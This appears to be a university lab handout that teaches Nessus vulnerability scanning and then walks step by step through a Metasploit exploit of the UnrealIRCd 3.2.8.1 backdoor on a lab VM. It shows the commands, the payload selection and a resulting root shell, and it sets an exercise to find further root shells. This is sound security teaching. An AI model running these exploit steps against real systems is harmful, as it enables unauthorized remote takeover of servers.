´╗┐

´╗┐Nessus

Introduction

Nessus is a vulnerability scanning tool. It can be used to detect thousands of well-known potential vulnerabilities on a remote host. Nessus is commonly used by network administrators who want to keep their domains secured against these common vulnerabilities that malicious hackers and viruses often look to exploit.

Similarly to nmap, Nessus performs a port scan on the target machine. However, whereas nmap only tells you what's listening, Nessus can tell you what's vulnerable. One way it can accomplish this is by performing various checks to determine which services are running on the remote host (e.g., Apache), what their version numbers are (e.g., 2.2.2), and then checking against a database of known vulnerabilities that are present in those versions of the services (e.g., mod_rewrite off-by-one error, CVE-2006-3747).

However, the rules used to detect vulnerabilities are highly flexible. These rules are contained within Nessus plugins, which are written in a language called NASL (Nessus Attack Scripting Language). Typically, each vulnerability that Nessus is capable of detecting is expressed as a plugin. Currently, there are about 40,000 plugins that are shipped with Nessus, and dozens more are added every week as new vulnerabilities are discovered.

In general, Nessus does not actually perform any exploits - it only detects vulnerabilities. Neither does Nessus prevent attacks or make any attempts to correct the vulnerabilities - it is still up to the network administrator to patch these vulnerabilities based on the guidance that Nessus provides.

Nessus can be used in conjunction with Metasploit, which is what we will be doing in this lab. We will first scan a machine to discover its vulnerabilities, and then use Metasploit to attempt to exploit these vulnerabilities. The machine that we will be scanning is at 10.13.143.128. We will assume that our objective is to obtain a shell on this server.

On UNIX, Nessus operates according to a client-server architecture. The Nessus client connects to the server, provides it with information, and the server actually runs the scan.

Scan Preparation

Nessus begins by running a port-scan (using nmap) on the target host to determine which ports are open. Once open ports are identified, Nessus runs a set of exploits on the open ports. Nessus assumes standard processes run on standard ports (i.e. http on port 80). The last step it performs is checking for and reporting vulnerabilities.

The Nessus server is installed on hamsa. The client is a Flash application that you can access via the browser. To use the client, connect to https://hamsa.cs.northwestern.edu:8834. You may need to confirm a security exception since Nessus uses a self-signed certificate. After you confirm the security exception, you will be presented with a login screen. Log in with your hamsa username (NetID). The password is your seven-digit student ID.

Login

In order to perform a scan, you need to have a scan policy. In Nessus, a "policy" refers to a set of options relevant to performing vulnerability scans, including but not limited to types of port scanners used, timeouts, various plugin options, reporting options, and credentials for SMB shares or databases on the hosts being scanned.

You will not need to create a scan policy for this lab as we have already performed a scan and prepared a report for you to browse; however, it is still important that you understand what the various options are, so follow along with the instructions in this section carefully. The scan policy dictates which vulnerabilities Nessus is able to detect, and it is easy to miss high severity vulnerabilities if you do not configure the scan policy correctly.

In order to create a new policy, click the "Policies" tab at the top of the interface and then click the New Policy button near the top right:

Policies

You will be taken to an interface for editing policy options. It defaults to the General tab, where you can set options such as the port range, type of port scanner (TCP, UDP, SYN, etc), among other fundamental options.

Add Policy

Notice the tabs along the left hand side: General, Credentials, Plugins, and Preferences. Also, pay attention to the drop down menu that appears near the top of the page when you click on Credentials or Preferences. The range of options is very extensive (if not overwhelming), and you are encouraged to dig around the menus to get a feel for how finely tuned a specific scan can be.

Two basic options that are worth highlighting is the Port Scan Range which limits which ports you target. This can save large amounts of time if you know which particular services you are looking for vulnerabilities in. If you set this option, it will apply to both TCP and UDP scans. The other is the "Safe Checks" option, in Advanced Settings, which is ticked by default. This ensures that Nessus will not attempt any tests that are detrimental to the scanned machine -- something you certainly want to leave checked when scanning a live production server, for example.

Port Scan Range

In order to detect the relevant vulnerabilities for this lab, you would need to select the following options on the "Preferences" page:

Elsewhere, the default settings will suffice for this lab. If you are unsure about any of the settings on the General page, mouse over the name of the option and a tooltip will appear for most items.

There is a wide variety of other options available when creating a scan policy. A lot of options deal with credentials that you can supply to Nessus in order to get more complete and accurate scan results. This is useful, for example, when you want to scan for potential vulnerabilities on a system that an authenticated user can exploit. If you want to get a better understanding of what Nessus is capable of, we encourage you to read through the Nessus User Guide.

Tooltip

Running the Scan

You will not need to actually run the scan for this lab. Running the scan takes a while and generates a large amount of network traffic, so we have prepared a finished scan report that you can browse. However, if you would like to perform a scan on your own, you will find that it's pretty straightforward. To run a scan, click on the "Scan Templates" tab at the top and then click on New Scan. Give this scan a name, select the scan policy that you configured earlier, and enter the address of the remote machine that you would like to scan.

Clicking on Run Scan starts the scan immediately. Once the scan is launched, the Scan Queue shows all the scans which are currently running. After selecting a scan, you can either pause, resume, or completely stop a scan. When a scan is complete, it is removed from scan queue and available for review on the "Results" tab.

Interpreting the Scan Results

To access the report that we have prepared for you, download it from here and save it locally on your machine. Then, in Nessus, go to the "Results" tab, click on "Upload", and choose the file that you just saved.

On the "Results" tab, you should see a list of all the scans that are running or have completed. To view the results, select a report (use the "netsec-2" report for this lab) and click on "Browse". Spend some time browsing through the report to see what sort of information Nessus was able to determine.

Now that we have identified some potential vulnerabilities on the machine, let's see if we can proceed to exploit them. With over a dozen "high" and "critical" severity results to choose from, how shall we go about this?

Scan Results

First, it is worth noting that not all of these results are particularly useful to us, regardless of severity, depending on what our objective is.

Again, note the advantage of Nessus over a simple port scanner like nmap: whereas a port scanner could only tell you which ports were open, Nessus runs a battery of tests to determine what software packages are running on the server, and in many cases, even their version numbers and configuration options.

But, notice there is a critical level vulnerability. These are usually always related to remote code execution and are easy to obtain a shell with: Unreal IRC Daemon Backdoor Detection

Vulnerable service that may allow arbitrary command execution

This looks promising. Let's try to exploit this vulnerability in Metasploit.

Performing the Exploit

To begin, note the CVE number in the Nessus scan result: CVE-2010-2075. CVE (Common Vulnerabilities and Exposures) is a large database of publicly-known security vulnerabilities, each uniquely distinguished by a "CVE Identifier" such as CVE-2010-2075. There are varying amounts of information that could be obtained about each vulnerability if you search for it on the CVE website. As it happens, the CVE entry for the vulnerability that we found does not provide any additional information beyond what Nessus had told us; however, knowing this number will nevertheless prove helpful momentarily.

Next, connect to Metasploit using the command msfpro (instead of msfconsole). Run a search for the CVE number:

msf > search CVE:2010-2075

Matching Modules
================

Name                                        Disclosure Date          Rank       Description
   ----                                        ---------------          ----       -----------
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12 00:00:00 UTC  excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution

If CVE search doesn't work, you could alternatively search for "ircd". Or you can just google " CVE:xxx metasploit"; there is a lot useful information online. In this case, it still returns the same exploit, but sometimes there may be more exploits for a given program than the one found by nessus. However, there is no guarantee that all of them would work with the particular version of the software that is running on the server. If you also consider the various configuration settings that may be present or absent that are required for these exploits to work, it becomes clear why it is better in most cases to search for the specific CVE number that Nessus reported instead of just the name of the service.

You can use the info command to obtain some more information about the exploit:

msf >  info exploit/unix/irc/unreal_ircd_3281_backdoor

Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent

Provided by:
  hdm 

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  6667             yes       The target port

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th
  2010.

References:
  http://cvedetails.com/cve/2010-2075/
  http://www.osvdb.org/65445
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Let's attempt this exploit on the vulnerable VM. Start by telling Metasploit to use this exploit:

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

Let's see what payloads are available with this exploit:

msf exploit(unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   cmd/unix/bind_perl                                   normal  Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  Unix Command Shell, Double reverse TCP (telnet)
   cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)

There are a number of ways we could obtain a shell. For simplicity, let's pick cmd/unix/bind_ruby

msf exploit(unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_ruby
payload => cmd/unix/bind_ruby

Now, what other options are there? To see what else is required for this exploit, use the command show options:

msf > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                        yes       The target address
   RPORT  6667             yes       The target port

Payload options (cmd/unix/bind_ruby):

Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                        yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

Id  Name
   --  ----
   0   Automatic Target

We see that we need to set RHOST We can leave RPORT at its current setting of 6667.

msf exploit(unreal_ircd_3281_backdoor)> set RHOST 10.13.143.128
RHOST =>10.13.143.128
Now, set LPORT to tell it which port to bind the shell to on our machines. Remember to change LPORT so that you aren't using the same ports as other students on the netsec machines. Now, we are ready to exploit


msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started bind handler
[*] Connected to 10.13.143.128:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Command shell session 2 opened (10.13.143.1:52768 -> 10.13.143.128:4444) at 2014-05-27 18:55:35 -0500

whoami
root
ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
exit

Class Exercise

Browse through the Nessus scan results and see if you can find another way to obtain root access on the server. There are a few vulnerabilities, so you may be able to get a shell in more than one way. Generally, when you obtain a remote shell on a server, you will be logged in with an unprivileged account. In this lab, the critical vulnerabilitie allowed you to get access as root (you can find this out by running the command whoami). You will find there isn't much you can do with this account (try deleting or modifying /var/www/index.html, for example). For this exercise, try to get a root shell. If you can get www-data access, that's half credit. If the vsftpd exploit is not working and you want to use it, or you need to use msfpro, email Andrew.

Optional Exercises

Meterpreter Shell: Many exploits have the Meterpreter shell available as one of the options for the payload. Meterpreter is a fairly sophisticated post-exploitation framework that facilitates many tasks that are performed after successfully exploiting a remote host, including interacting with processes, uploading files, and interacting with the file system and the network. Meterpreter also has other important advantages for an attacker, including stealth (unlike a regular shell, Meterpreter does not spawn a new process; it also has the capability to encrypt its communication), extensibility, and familiarity (Meterpreter supports the same command set regardless of the operating system on the target machine). As an exercise, try switching the payload to a Meterpreter shell and play around with it. Use the help command to see which commands are available. For a more detailed overview of Meterpreter and its capabilities, take a look at the white paper PDF.